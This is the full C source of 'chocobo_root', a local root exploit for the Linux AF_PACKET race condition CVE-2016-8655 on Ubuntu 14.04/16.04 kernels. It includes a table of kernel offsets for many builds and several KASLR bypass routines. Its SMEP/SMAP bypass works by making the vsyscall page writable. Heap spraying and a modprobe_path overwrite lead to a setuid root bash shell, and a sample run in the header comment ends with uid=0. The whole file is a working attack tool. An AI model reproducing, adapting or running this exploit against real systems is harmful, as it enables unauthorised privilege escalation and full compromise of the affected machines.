/*
chocobo_root.c
linux AF_PACKET race condition exploit for CVE-2016-8655.
Includes KASLR and SMEP/SMAP bypasses.
For Ubuntu 14.04 / 16.04 (x86_64) kernels 4.4.0 before 4.4.0-53.74.
All kernel offsets have been tested on Ubuntu / Linux Mint.
vroom vroom
*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=
user@ubuntu:~$ uname -a
Linux ubuntu 4.4.0-51-generic #72-Ubuntu SMP Thu Nov 24 18:29:54 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
user@ubuntu:~$ id
uid=1000(user) gid=1000(user) groups=1000(user)
user@ubuntu:~$ gcc chocobo_root.c -o chocobo_root -lpthread
user@ubuntu:~$ ./chocobo_root
linux AF_PACKET race condition exploit by rebel
kernel version: 4.4.0-51-generic #72
proc_dostring = 0xffffffff81088090
modprobe_path = 0xffffffff81e48f80
register_sysctl_table = 0xffffffff812879a0
set_memory_rw = 0xffffffff8106f320
exploit starting
making vsyscall page writable..
new exploit attempt starting, jumping to 0xffffffff8106f320, arg=0xffffffffff600000
sockets allocated
removing barrier and spraying..
version switcher stopping, x = -1 (y = 174222, last val = 2)
current packet version = 0
pbd->hdr.bh1.offset_to_first_pkt = 48
*=*=*=* TPACKET_V1 && offset_to_first_pkt != 0, race won *=*=*=*
please wait up to a few minutes for timer to be executed. if you ctrl-c now the kernel will hang. so don't do that.
closing socket and verifying.......
vsyscall page altered!
stage 1 completed
registering new sysctl..
new exploit attempt starting, jumping to 0xffffffff812879a0, arg=0xffffffffff600850
sockets allocated
removing barrier and spraying..
version switcher stopping, x = -1 (y = 30773, last val = 0)
current packet version = 2
pbd->hdr.bh1.offset_to_first_pkt = 48
race not won
retrying stage..
new exploit attempt starting, jumping to 0xffffffff812879a0, arg=0xffffffffff600850
sockets allocated
removing barrier and spraying..
version switcher stopping, x = -1 (y = 133577, last val = 2)
current packet version = 0
pbd->hdr.bh1.offset_to_first_pkt = 48
*=*=*=* TPACKET_V1 && offset_to_first_pkt != 0, race won *=*=*=*
please wait up to a few minutes for timer to be executed. if you ctrl-c now the kernel will hang. so don't do that.
closing socket and verifying.......
sysctl added!
stage 2 completed
binary executed by kernel, launching rootshell
root@ubuntu:~# id
uid=0(root) gid=0(root) groups=0(root),1000(user)
*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=
Shoutouts to:
jsc for inspiration (https://www.youtube.com/watch?v=x4UDIfcYMKI)
mcdelivery for delivering hotcakes and coffee
11/2016
by rebel
---
Updated by <bcoles@gmail.com>
- check number of CPU cores
- KASLR bypasses
- additional kernel targets
https://github.com/bcoles/kernel-exploits/tree/master/CVE-2016-8655
*/
#define _GNU_SOURCE
#include <fcntl.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <signal.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/klog.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/sysinfo.h>
#include <sys/utsname.h>
#include <sys/wait.h>
#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <linux/sched.h>
#include <netinet/tcp.h>
#include <netinet/if_ether.h>
#define DEBUG
#ifdef DEBUG
# define dprintf printf
#else
# define dprintf
#endif
#define ENABLE_KASLR_BYPASS 1
// Will be overwritten if ENABLE_KASLR_BYPASS
unsigned long KERNEL_BASE = 0xffffffff81000000ul;
// Will be overwritten by detect_versions()
int kernel = -1;
// New sysctl path
const char *SYSCTL_NAME = "hack";
const char *SYSCTL_PATH = "/proc/sys/hack";
volatile int barrier = 1;
volatile int vers_switcher_done = 0;
struct kernel_info {
char *kernel_version;
unsigned long proc_dostring;
unsigned long modprobe_path;
unsigned long register_sysctl_table;
unsigned long set_memory_rw;
};
struct kernel_info kernels[] = {
{ "4.4.0-21-generic #37~14.04.1-Ubuntu", 0x084220, 0xc4b000, 0x273a30, 0x06b9d0 },
{ "4.4.0-22-generic #40~14.04.1-Ubuntu", 0x084250, 0xc4b080, 0x273de0, 0x06b9d0 },
{ "4.4.0-24-generic #43~14.04.1-Ubuntu", 0x084120, 0xc4b080, 0x2736f0, 0x06b880 },
{ "4.4.0-28-generic #47~14.04.1-Ubuntu", 0x084160, 0xc4b100, 0x273b70, 0x06b880 },
{ "4.4.0-31-generic #50~14.04.1-Ubuntu", 0x084160, 0xc4b100, 0x273c20, 0x06b880 },
{ "4.4.0-34-generic #53~14.04.1-Ubuntu", 0x084160, 0xc4b100, 0x273c40, 0x06b880 },
{ "4.4.0-36-generic #55~14.04.1-Ubuntu", 0x084160, 0xc4b100, 0x273c60, 0x06b890 },
{ "4.4.0-38-generic #57~14.04.1-Ubuntu", 0x084210, 0xe4b100, 0x2742e0, 0x06b890 },
{ "4.4.0-42-generic #62~14.04.1-Ubuntu", 0x084260, 0xe4b100, 0x274300, 0x06b880 },
{ "4.4.0-45-generic #66~14.04.1-Ubuntu", 0x084260, 0xe4b100, 0x274340, 0x06b880 },
//{"4.4.0-46-generic #67~14.04.1-Ubuntu",0x0842f0,0xe4b100,0x274580,0x06b880},
{ "4.4.0-47-generic #68~14.04.1-Ubuntu", 0x0842f0, 0xe4b100, 0x274580, 0x06b880 },
//{"4.4.0-49-generic #70~14.04.1-Ubuntu",0x084350,0xe4b100,0x274b10,0x06b880},
{ "4.4.0-51-generic #72~14.04.1-Ubuntu", 0x084350, 0xe4b100, 0x274750, 0x06b880 },
{ "4.4.0-21-generic #37-Ubuntu", 0x087cf0, 0xe48e80, 0x286310, 0x06f370 },
{ "4.4.0-22-generic #40-Ubuntu", 0x087d40, 0xe48f00, 0x2864d0, 0x06f370 },
{ "4.4.0-24-generic #43-Ubuntu", 0x087e60, 0xe48f00, 0x2868f0, 0x06f370 },
{ "4.4.0-28-generic #47-Ubuntu", 0x087ea0, 0xe48f80, 0x286df0, 0x06f370 },
{ "4.4.0-31-generic #50-Ubuntu", 0x087ea0, 0xe48f80, 0x286e90, 0x06f370 },
{ "4.4.0-34-generic #53-Ubuntu", 0x087ea0, 0xe48f80, 0x286ed0, 0x06f370 },
{ "4.4.0-36-generic #55-Ubuntu", 0x087ea0, 0xe48f80, 0x286e50, 0x06f360 },
{ "4.4.0-38-generic #57-Ubuntu", 0x087f70, 0xe48f80, 0x287470, 0x06f360 },
{ "4.4.0-42-generic #62-Ubuntu", 0x087fc0, 0xe48f80, 0x2874a0, 0x06f320 },
{ "4.4.0-43-generic #63-Ubuntu", 0x087fc0, 0xe48f80, 0x2874b0, 0x06f320 },
{ "4.4.0-45-generic #66-Ubuntu", 0x087fc0, 0xe48f80, 0x2874c0, 0x06f320 },
//{"4.4.0-46-generic #67-Ubuntu",0x088040,0xe48f80,0x287800,0x06f320},
{ "4.4.0-47-generic #68-Ubuntu", 0x088040, 0xe48f80, 0x287800, 0x06f320 },
//{"4.4.0-49-generic #70-Ubuntu",0x088090,0xe48f80,0x287d40,0x06f320},
{ "4.4.0-51-generic #72-Ubuntu", 0x088090, 0xe48f80, 0x2879a0, 0x06f320},
};
#define VSYSCALL 0xffffffffff600000
#define PROC_DOSTRING (KERNEL_BASE + kernels[kernel].proc_dostring)
#define MODPROBE_PATH (KERNEL_BASE + kernels[kernel].modprobe_path)
#define REGISTER_SYSCTL_TABLE (KERNEL_BASE + kernels[kernel].register_sysctl_table)
#define SET_MEMORY_RW (KERNEL_BASE + kernels[kernel].set_memory_rw)
#define KMALLOC_PAD 64
int pad_fds[KMALLOC_PAD];
// * * * * * * * * * * * * * * Kernel structs * * * * * * * * * * * * * * * *
struct ctl_table {
const char *procname;
void *data;
int maxlen;
unsigned short mode;
struct ctl_table *child;
void *proc_handler;
void *poll;
void *extra1;
void *extra2;
};
#define CONF_RING_FRAMES 1
struct tpacket_req3 tp;
int sfd;
int mapped = 0;
struct timer_list {
void *next;
void *prev;
unsigned long expires;
void (*function)(unsigned long);
unsigned long data;
unsigned int flags;
int slack;
};
// * * * * * * * * * * * * * * * Helpers * * * * * * * * * * * * * * * * * *
void *setsockopt_thread(void *arg)
{
while (barrier) {}
setsockopt(sfd, SOL_PACKET, PACKET_RX_RING, (void*) &tp, sizeof(tp));
return NULL;
}
void *vers_switcher(void *arg)
{
int val,x,y;
while (barrier) {}
while (1) {
val = TPACKET_V1;
x = setsockopt(sfd, SOL_PACKET, PACKET_VERSION, &val, sizeof(val));
y++;
if (x != 0) break;
val = TPACKET_V3;
x = setsockopt(sfd, SOL_PACKET, PACKET_VERSION, &val, sizeof(val));
if (x != 0) break;
y++;
}
dprintf("[.] version switcher stopping, x = %d (y = %d, last val = %d)\n",x,y,val);
vers_switcher_done = 1;
return NULL;
}
// * * * * * * * * * * * * * * Heap shaping * * * * * * * * * * * * * * * * *
#define BUFSIZE 1408
char exploitbuf[BUFSIZE];
void kmalloc(void)
{
while(1)
syscall(__NR_add_key, "user", "wtf", exploitbuf, BUFSIZE - 24, -2);
}
void pad_kmalloc(void)
{
int x;
for (x = 0; x < KMALLOC_PAD; x++)
if (socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP)) == -1) {
dprintf("[-] pad_kmalloc() socket error\n");
exit(EXIT_FAILURE);
}
}
// * * * * * * * * * * * * * * * Trigger * * * * * * * * * * * * * * * * * *
int try_exploit(unsigned long func, unsigned long arg, void *verification_func)
{
pthread_t setsockopt_thread_thread,a;
int val;
socklen_t l;
struct timer_list *timer;
int fd;
struct tpacket_block_desc *pbd;
int off;
sigset_t set;
sigemptyset(&set);
sigaddset(&set, SIGSEGV);
if (pthread_sigmask(SIG_BLOCK, &set, NULL) != 0) {
dprintf("[-] couldn't set sigmask\n");
exit(1);
}
dprintf("[.] new exploit attempt starting, jumping to %p, arg=%p\n", (void *)func, (void *)arg);
pad_kmalloc();
fd = socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP));
if (fd == -1) {
dprintf("[-] target socket error\n");
exit(1);
}
pad_kmalloc();
dprintf("[.] done, sockets allocated\n");
val = TPACKET_V3;
setsockopt(fd, SOL_PACKET, PACKET_VERSION, &val, sizeof(val));
tp.tp_block_size = CONF_RING_FRAMES * getpagesize();
tp.tp_block_nr = 1;
tp.tp_frame_size = getpagesize();
tp.tp_frame_nr = CONF_RING_FRAMES;
// try to set the timeout to 10 seconds
// the default timeout might still be used though depending on when the race was won
tp.tp_retire_blk_tov = 10000;
sfd = fd;
if (pthread_create(&setsockopt_thread_thread, NULL, setsockopt_thread, (void *)NULL)) {
dprintf("[-] Error creating thread\n");
return 1;
}
pthread_create(&a, NULL, vers_switcher, (void *)NULL);
usleep(200000);
dprintf("[.] removing barrier and spraying...\n");
memset(exploitbuf, '\x00', BUFSIZE);
timer = (struct timer_list *)(exploitbuf+(0x6c*8)+6-8);
timer->next = 0;
timer->prev = 0;
timer->expires = 4294943360;
timer->function = (void *)func;
timer->data = arg;
timer->flags = 1;
timer->slack = -1;
barrier = 0;
usleep(100000);
while (!vers_switcher_done) usleep(100000);
l = sizeof(val);
getsockopt(sfd, SOL_PACKET, PACKET_VERSION, &val, &l);
dprintf("[.] current packet version = %d\n",val);
pbd = mmap(0, tp.tp_block_size * tp.tp_block_nr, PROT_READ | PROT_WRITE, MAP_SHARED, sfd, 0);
if (pbd == MAP_FAILED) {
dprintf("[-] could not map pbd\n");
exit(1);
} else {
off = pbd->hdr.bh1.offset_to_first_pkt;
dprintf("[.] pbd->hdr.bh1.offset_to_first_pkt = %d\n", off);
}
if (val == TPACKET_V1 && off != 0) {
dprintf("*=*=*=* TPACKET_V1 && offset_to_first_pkt != 0, race won *=*=*=*\n");
} else {
dprintf("[-] race not won\n");
exit(2);
}
munmap(pbd, tp.tp_block_size * tp.tp_block_nr);
pthread_create(&a, NULL, verification_func, (void *)NULL);
dprintf("\n");
dprintf("[!] please wait up to a few minutes for timer to be executed.\n");
dprintf("[!] if you ctrl-c now the kernel will hang. so don't do that.\n");
dprintf("\n");
sleep(1);
dprintf("[.] closing socket and verifying...\n");
close(sfd);
kmalloc();
dprintf("[.] all messages sent\n");
sleep(31337);
exit(1);
}
int verification_result = 0;
void catch_sigsegv(int sig)
{
verification_result = 0;
pthread_exit((void *)1);
}
void *modify_vsyscall(void *arg)
{
unsigned long *vsyscall = (unsigned long *)(VSYSCALL+0x850);
unsigned long x = (unsigned long)arg;
sigset_t set;
sigemptyset(&set);
sigaddset(&set, SIGSEGV);
if (pthread_sigmask(SIG_UNBLOCK, &set, NULL) != 0) {
dprintf("[-] couldn't set sigmask\n");
exit(EXIT_FAILURE);
}
signal(SIGSEGV, catch_sigsegv);
*vsyscall = 0xdeadbeef+x;
if (*vsyscall == 0xdeadbeef+x) {
dprintf("[~] vsyscall page altered!\n");
verification_result = 1;
pthread_exit(0);
}
return NULL;
}
void verify_stage1(void)
{
pthread_t v_thread;
sleep(5);
int x;
for(x = 0; x < 300; x++) {
pthread_create(&v_thread, NULL, modify_vsyscall, 0);
pthread_join(v_thread, NULL);
if(verification_result == 1) {
exit(0);
}
write(2,".",1);
sleep(1);
}
dprintf("[-] could not modify vsyscall\n");
exit(EXIT_FAILURE);
}
void verify_stage2(void)
{
struct stat b;
sleep(5);
int x;
for(x = 0; x < 300; x++) {
if (stat(SYSCTL_PATH, &b) == 0) {
dprintf("[~] sysctl added!\n");
exit(0);
}
write(2,".",1);
sleep(1);
}
dprintf("[-] could not add sysctl\n");
exit(EXIT_FAILURE);
}
void exploit(unsigned long func, unsigned long arg, void *verification_func)
{
int status;
int pid;
retry:
pid = fork();
if (pid == 0) {
try_exploit(func, arg, verification_func);
exit(1);
}
wait(&status);
dprintf("\n");
if (WEXITSTATUS(status) == 2) {
dprintf("[.] retrying stage...\n");
kill(pid, 9);
sleep(2);
goto retry;
}
if (WEXITSTATUS(status) != 0) {
dprintf("[-] something bad happened, aborting exploit attempt\n");
exit(EXIT_FAILURE);
}
kill(pid, 9);
}
void wrapper(void)
{
struct ctl_table *c;
dprintf("[.] making vsyscall page writable...\n\n");
exploit(SET_MEMORY_RW, VSYSCALL, verify_stage1);
dprintf("[~] done, stage 1 completed\n");
sleep(5);
dprintf("[.] registering new sysctl...\n\n");
c = (struct ctl_table *)(VSYSCALL+0x850);
memset((char *)(VSYSCALL+0x850), '\x00', 1952);
strcpy((char *)(VSYSCALL+0xf00), SYSCTL_NAME);
memcpy((char *)(VSYSCALL+0xe00), "\x01\x00\x00\x00",4);
c->procname = (char *)(VSYSCALL+0xf00);
c->mode = 0666;
c->proc_handler = (void *)(PROC_DOSTRING);
c->data = (void *)(MODPROBE_PATH);
c->maxlen = 256;
c->extra1 = (void *)(VSYSCALL+0xe00);
c->extra2 = (void *)(VSYSCALL+0xd00);
exploit(REGISTER_SYSCTL_TABLE, VSYSCALL+0x850, verify_stage2);
dprintf("[~] done, stage 2 completed\n");
}
// * * * * * * * * * * * * * * * * * Detect * * * * * * * * * * * * * * * * *
void check_procs() {
int min_procs = 2;
int nprocs = 0;
nprocs = get_nprocs_conf();
if (nprocs < min_procs) {
dprintf("[-] system has less than %d processor cores\n", min_procs);
exit(EXIT_FAILURE);
}
dprintf("[.] system has %d processor cores\n", nprocs);
}
struct utsname get_kernel_version() {
struct utsname u;
int rv = uname(&u);
if (rv != 0) {
dprintf("[-] uname())\n");
exit(EXIT_FAILURE);
}
return u;
}
#define ARRAY_SIZE(x) (sizeof(x) / sizeof((x)[0]))
void detect_versions() {
struct utsname u;
char kernel_version[512];
u = get_kernel_version();
if (strstr(u.machine, "64") == NULL) {
dprintf("[-] system is not using a 64-bit kernel\n");
exit(EXIT_FAILURE);
}
if (strstr(u.version, "-Ubuntu") == NULL) {
dprintf("[-] system is not using an Ubuntu kernel\n");
exit(EXIT_FAILURE);
}
char *u_ver = strtok(u.version, " ");
snprintf(kernel_version, 512, "%s %s", u.release, u_ver);
int i;
for (i = 0; i < ARRAY_SIZE(kernels); i++) {
if (strcmp(kernel_version, kernels[i].kernel_version) == 0) {
dprintf("[.] kernel version '%s' detected\n", kernels[i].kernel_version);
kernel = i;
return;
}
}
dprintf("[-] kernel version not recognized\n");
exit(EXIT_FAILURE);
}
// * * * * * * * * * * * * * * syslog KASLR bypass * * * * * * * * * * * * * *
#define SYSLOG_ACTION_READ_ALL 3
#define SYSLOG_ACTION_SIZE_BUFFER 10
bool mmap_syslog(char** buffer, int* size) {
*size = klogctl(SYSLOG_ACTION_SIZE_BUFFER, 0, 0);
if (*size == -1) {
dprintf("[-] klogctl(SYSLOG_ACTION_SIZE_BUFFER)\n");
return false;
}
*size = (*size / getpagesize() + 1) * getpagesize();
*buffer = (char*)mmap(NULL, *size, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
*size = klogctl(SYSLOG_ACTION_READ_ALL, &((*buffer)[0]), *size);
if (*size == -1) {
dprintf("[-] klogctl(SYSLOG_ACTION_READ_ALL)\n");
return false;
}
return true;
}
unsigned long get_kernel_addr_trusty(char* buffer, int size) {
const char* needle1 = "Freeing unused";
char* substr = (char*)memmem(&buffer[0], size, needle1, strlen(needle1));
if (substr == NULL) return 0;
int start = 0;
int end = 0;
for (end = start; substr[end] != '-'; end++);
const char* needle2 = "ffffff";
substr = (char*)memmem(&substr[start], end - start, needle2, strlen(needle2));
if (substr == NULL) return 0;
char* endptr = &substr[16];
unsigned long r = strtoul(&substr[0], &endptr, 16);
r &= 0xffffffffff000000ul;
return r;
}
unsigned long get_kernel_addr_xenial(char* buffer, int size) {
const char* needle1 = "Freeing unused";
char* substr = (char*)memmem(&buffer[0], size, needle1, strlen(needle1));
if (substr == NULL) {
return 0;
}
int start = 0;
int end = 0;
for (start = 0; substr[start] != '-'; start++);
for (end = start; substr[end] != '\n'; end++);
const char* needle2 = "ffffff";
substr = (char*)memmem(&substr[start], end - start, needle2, strlen(needle2));
if (substr == NULL) {
return 0;
}
char* endptr = &substr[16];
unsigned long r = strtoul(&substr[0], &endptr, 16);
r &= 0xfffffffffff00000ul;
r -= 0x1000000ul;
return r;
}
unsigned long get_kernel_addr_syslog() {
unsigned long addr = 0;
char* syslog;
int size;
dprintf("[.] trying syslog...\n");
if (!mmap_syslog(&syslog, &size))
return 0;
if (strstr(kernels[kernel].kernel_version, "14.04.1") != NULL)
addr = get_kernel_addr_trusty(syslog, size);
else
addr = get_kernel_addr_xenial(syslog, size);
if (!addr)
dprintf("[-] kernel base not found in syslog\n");
return addr;
}
// * * * * * * * * * * * * * * kallsyms KASLR bypass * * * * * * * * * * * * * *
unsigned long get_kernel_addr_kallsyms() {
FILE *f;
unsigned long addr = 0;
char dummy;
char sname[256];
char* name = "startup_64";
char* path = "/proc/kallsyms";
dprintf("[.] trying %s...\n", path);
f = fopen(path, "r");
if (f == NULL) {
dprintf("[-] open/read(%s)\n", path);
return 0;
}
int ret = 0;
while (ret != EOF) {
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
if (ret == 0) {
fscanf(f, "%s\n", sname);
continue;
}
if (!strcmp(name, sname)) {
fclose(f);
return addr;
}
}
fclose(f);
dprintf("[-] kernel base not found in %s\n", path);
return 0;
}
// * * * * * * * * * * * * * * System.map KASLR bypass * * * * * * * * * * * * * *
unsigned long get_kernel_addr_sysmap() {
FILE *f;
unsigned long addr = 0;
char path[512] = "/boot/System.map-";
char version[32];
struct utsname u;
u = get_kernel_version();
strcat(path, u.release);
dprintf("[.] trying %s...\n", path);
f = fopen(path, "r");
if (f == NULL) {
dprintf("[-] open/read(%s)\n", path);
return 0;
}
char dummy;
char sname[256];
char* name = "startup_64";
int ret = 0;
while (ret != EOF) {
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
if (ret == 0) {
fscanf(f, "%s\n", sname);
continue;
}
if (!strcmp(name, sname)) {
fclose(f);
return addr;
}
}
fclose(f);
dprintf("[-] kernel base not found in %s\n", path);
return 0;
}
// * * * * * * * * * * * * * * mincore KASLR bypass * * * * * * * * * * * * * *
unsigned long get_kernel_addr_mincore() {
unsigned char buf[getpagesize()/sizeof(unsigned char)];
unsigned long iterations = 20000000;
unsigned long addr = 0;
dprintf("[.] trying mincore info leak...\n");
/* A MAP_ANONYMOUS | MAP_HUGETLB mapping */
if (mmap((void*)0x66000000, 0x20000000000, PROT_NONE,
MAP_SHARED | MAP_ANONYMOUS | MAP_HUGETLB | MAP_NORESERVE, -1, 0) == MAP_FAILED) {
dprintf("[-] mmap()\n");
return 0;
}
int i;
for (i = 0; i <= iterations; i++) {
/* Touch a mishandle with this type mapping */
if (mincore((void*)0x86000000, 0x1000000, buf)) {
dprintf("[-] mincore()\n");
return 0;
}
int n;
for (n = 0; n < getpagesize()/sizeof(unsigned char); n++) {
addr = *(unsigned long*)(&buf[n]);
/* Kernel address space */
if (addr > 0xffffffff00000000) {
addr &= 0xffffffffff000000ul;
if (munmap((void*)0x66000000, 0x20000000000))
dprintf("[-] munmap()\n");
return addr;
}
}
}
if (munmap((void*)0x66000000, 0x20000000000))
dprintf("[-] munmap()\n");
dprintf("[-] kernel base not found in mincore info leak\n");
return 0;
}
// * * * * * * * * * * * * * * KASLR bypasses * * * * * * * * * * * * * * * *
unsigned long get_kernel_addr() {
unsigned long addr = 0;
addr = get_kernel_addr_kallsyms();
if (addr) return addr;
addr = get_kernel_addr_sysmap();
if (addr) return addr;
addr = get_kernel_addr_syslog();
if (addr) return addr;
addr = get_kernel_addr_mincore();
if (addr) return addr;
dprintf("[-] KASLR bypass failed\n");
exit(EXIT_FAILURE);
return 0;
}
// * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * * *
void launch_rootshell(void)
{
int fd;
char buf[256];
struct stat s;
fd = open(SYSCTL_PATH, O_WRONLY);
if(fd == -1) {
dprintf("[-] could not open %s\n", SYSCTL_PATH);
exit(EXIT_FAILURE);
}
memset(buf, '\x00', 256);
readlink("/proc/self/exe", (char *)&buf, 256);
write(fd, buf, strlen(buf)+1);
socket(AF_INET, SOCK_STREAM, 132);
if (stat(buf,&s) == 0 && s.st_uid == 0) {
dprintf("[+] binary executed by kernel, launching rootshell\n");
lseek(fd, 0, SEEK_SET);
write(fd, "/sbin/modprobe", 15);
close(fd);
execl(buf, buf, NULL);
} else {
dprintf("[-] could not create rootshell\n");
exit(EXIT_FAILURE);
}
}
void setup_sandbox() {
if (unshare(CLONE_NEWUSER) != 0) {
dprintf("[-] unshare(CLONE_NEWUSER)\n");
exit(EXIT_FAILURE);
}
if (unshare(CLONE_NEWNET) != 0) {
dprintf("[-] unshare(CLONE_NEWNET)\n");
exit(EXIT_FAILURE);
}
}
int main(int argc, char **argv)
{
int status, pid;
struct utsname u;
char buf[512], *f;
if (getuid() == 0 && geteuid() == 0) {
chown("/proc/self/exe", 0, 0);
chmod("/proc/self/exe", 06755);
exit(0);
}
if (getuid() != 0 && geteuid() == 0) {
setresuid(0, 0, 0);
setresgid(0, 0, 0);
execl("/bin/bash", "bash", "-p", NULL);
exit(0);
}
dprintf("linux AF_PACKET race condition exploit by rebel\n");
dprintf("[.] starting\n");
dprintf("[.] checking hardware\n");
check_procs();
dprintf("[~] done, hardware looks good\n");
dprintf("[.] checking kernel version\n");
detect_versions();
dprintf("[~] done, version looks good\n");
#if ENABLE_KASLR_BYPASS
dprintf("[.] KASLR bypass enabled, getting kernel base address\n");
KERNEL_BASE = get_kernel_addr();
dprintf("[~] done, kernel text: %lx\n", KERNEL_BASE);
#endif
dprintf("[.] proc_dostring: %lx\n", PROC_DOSTRING);
dprintf("[.] modprobe_path: %lx\n", MODPROBE_PATH);
dprintf("[.] register_sysctl_table: %lx\n", REGISTER_SYSCTL_TABLE);
dprintf("[.] set_memory_rw: %lx\n", SET_MEMORY_RW);
pid = fork();
if (pid == 0) {
dprintf("[.] setting up namespace sandbox\n");
setup_sandbox();
dprintf("[~] done, namespace sandbox set up\n");
wrapper();
exit(0);
}
waitpid(pid, &status, 0);
launch_rootshell();
return 0;
}
